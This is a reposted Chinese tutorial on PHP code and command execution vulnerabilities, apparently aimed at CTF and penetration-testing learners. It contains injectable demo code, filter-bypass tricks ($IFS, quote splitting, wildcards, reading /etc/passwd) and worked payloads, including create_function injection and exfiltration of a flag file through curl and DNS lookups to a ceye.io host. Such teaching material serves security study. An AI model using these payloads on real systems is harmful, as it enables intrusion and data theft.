[WEB安全]代碼/命令執行總結


0x01 代碼執行

1.1 概念

遠程代碼執行實際上是調用服務器網站代碼進行執行。

1.2 常見執行方法

eval

eval():將字符串當做函數進行執行(需要傳入一個完整的語句)

demo:

<?php
eval('echo "hello";');
?>

assert

assert():判斷是否為字符串,是則當成代碼執行

demo:

低版本:

<?php assert($_POST['a']);?>

php官方在php7中更改了assert函數。在php7.0.29之后的版本不支持動態調用。

7.0之后的demo:

<?php
$a = 'assert';
$a(phpinfo());
?>

call_user_func

call_user_func():回調函數,可以使用is_callable查看是否可以進行調用

demo:

<?php
highlight_file(__FILE__);
$a = 'system';
$b = 'pwd';
call_user_func($a,$b);
call_user_func('eval','phpinfo()');
?>

其中基本可以傳遞任何內置的和用戶自定義的函數, 除了語言結構:array、echo、empty、eval...

call_user_fuc_array

call_user_fuc_array():回調函數,參數為數組

demo:

<?php
highlight_file(__FILE__);
$array[0] = $_POST['a'];
call_user_func_array("assert",$array); 
?>

create_function

create_function():創建匿名函數

string create_function(string $args,string $code)

args是要創建的函數的參數,code是函數內的代碼

demo:

<?php
highlight_file(__FILE__);
$a = create_function('$code', 'echo $code');
$b = 'hello';
$a($b);

$a = 'phpinfo();';
$b = create_function(" ", $a);
$b();
?>

preg_replace

preg_replace():當為/e時代碼會執行,前提是不超過php7

demo:

<?php
highlight_file(__FILE__);
$a = 'phpinfo()';
$b = preg_replace("/abc/e", $a, 'abc');
?>

array_map

array_map():為數組的每個元素應用回調函數

demo:

<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
?>

array_filter

array_filter():依次將 array 數組中的每個值傳遞到 callback 函數。如果 callback 函數返回 true,則 array 數組的當前值會被包含在返回的結果數組中。數組的鍵名保留不變。

demo:

<?php
highlight_file(__FILE__);
$array[0] = $_GET['a'];
array_filter($array,'assert');
?>

usort

usort():使用自定義函數對數組進行排序

$GET在php5.6中引入了新特性。即可以將數組展開成參數的形式

demo:

<?php
highlight_file(__FILE__);
usort($_GET[1],'assert');
?>

用法:

1[]=phpinfo()&1[]=123&2[]=assert

大致過程就是,GET變量被展開成兩個參數['phpinfo', '123']和assert,傳入usort函數。

usort函數的第二個參數是一個回調函數assert,其調用了第一個參數中的phpinfo();

uasort

uasort():使用用戶自定義的比較函數對數組的值進行排序並保持索引關聯

demo:

<?php
highlight_file(__FILE__);
$e = 'assert';
$arr = array($_REQUEST['pass'],'test' );
uasort($arr, $e);
?>

${}

${}:中間的php代碼將會被解析

demo:

<?php
highlight_file(__FILE__);
${phpinfo()};
?>

1.3 代碼執行例題

題目:

<?php
highlight_file(__FILE__);
$price = $_GET['price'];
$code = 'echo $name.'.'的價格是'.$price.';';
$b = create_function('$name', $code);
$b('iphone');
?>

代碼邏輯很清楚,調用b這個匿名函數,參數為iphone。

在整個過程中,從表面上看,我們能夠控制的只有price的值,但是我們把這個函數b拆開來看就變成了下面這樣:

function b($name){
 echo $name.的價格是.$price;
}

再仔細看一下這個price,我們是不是可以在函數內部改造一下?

構造payload:

?price=123;}phpinfo();/*

那么傳入后代碼就會變成下面這樣:

function b($name){
 echo $name.的價格是.123;}phpinfo();/*;
}

0x02 命令執行

2.1 命令執行概念

通過易受攻擊的應用在主機上執行任意命令。

2.2 命令執行常見函數

system

system:可以執行系統命令並將其輸出

demo:

<?php
highlight_file(__FILE__);
system('pwd');
system('whoami');
?>

exec

exec:執行命令,但無輸出,可以使用output進行輸出

demo:

<?php
highlight_file(__FILE__);
exec('pwd',$b);
var_dump($b);
?>

passthru

passthru:執行命令並輸出

demo:

<?php
highlight_file(__FILE__);
passthru('ls');
?>

shell_exec

shell_exec:執行命令,但無回顯

demo:

<?php
highlight_file(__FILE__);
var_dump(shell_exec('ls'));
?>

反引號

反引號:執行shell命令,並返回輸出的字符串

demo:

<?php
highlight_file(__FILE__);
$a = 'pwd';
echo `$a`;
?>

ob_start

ob_start:打開輸出控制緩沖

demo:

<?php
highlight_file(__FILE__);
ob_start("system");
echo "whoami";
ob_end_flush();
?>

0x03 繞過

3.1 常見分隔符

- 換行符 %0a
- 回車符 %0d
- 連續指令 ;
- 后台進程 &
- 管道符 |
- 邏輯 || &&

3.2 繞過空格

- $IFS
- <
- ${IFS}
- $IFS$9
- %09

3.3 各類符號

即使用substr string pos len的方法進行取字符

demo:

echo "${PATH:0:1}"
echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)`
expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1
- %0a
- %0d
- %00
- %20

3.4 敏感字符繞過

3.4.1 變量繞過

a=l,b=s;$a$b

3.4.2 base64編碼繞過

echo 'cat' | base64

3.4.3 未定義的初始化變量

cat$b /etc/passwd

3.4.4 連接符

cat /etc/pass’w’d

3.4.5 使用通配符

/???/?s --help

3.5 無回顯

1.使用延時函數,比如:ls|sleep 3

2.使用http,比如:ls|curl ip:port

3.使用dns

3.6 命令執行例題

<?php
highlight_file(__FILE__);
include("where_flag.php");
echo "ping";
$ip = (string)$_GET['ping'];
$ip = str_replace(">", "0.0", $ip);
shell_exec("ping".$ip);
?>

思路1:使用cp命令將where_flag.php改名,然后下載得到flag

如:

127.0.0.1;cp where_is_flag.php 1.txt

思路二:dnslog外帶

因為dnslog不能帶有空格,所以使用sed去空格

最后的payload:

/?ping=cat where_flag.php|sed s/[[:space:]]//.php.xxxx.ceye.io

因為ceye無法處理換行,所以我們可以使用下面的方法處理換行問題

ping=127.0.0.1 -c 1;for i in `cat where_is_flag.php`;do ping $i.xxx.ceye.io;done;

注意:只能在curl下有效

3.6 長度繞過

如15位命令執行、7位命令執行、5位命令執行、4位命令執行

具體參考:

https://xz.aliyun.com/t/1579

3.7 無字母數字命令執行(webshell)

1、異或

因為每個字符的本質是ascii碼值,而ascii可以變成二進制,二進制進行xor后再轉換,就是字母

2、取反

其實同理,將字符轉換為二進制后取反

3、自增

具體可查看:

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

https://www.php.net/manual/zh/language.operators.increment.php

0x04 參考鏈接

聊一聊代碼、命令執行


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM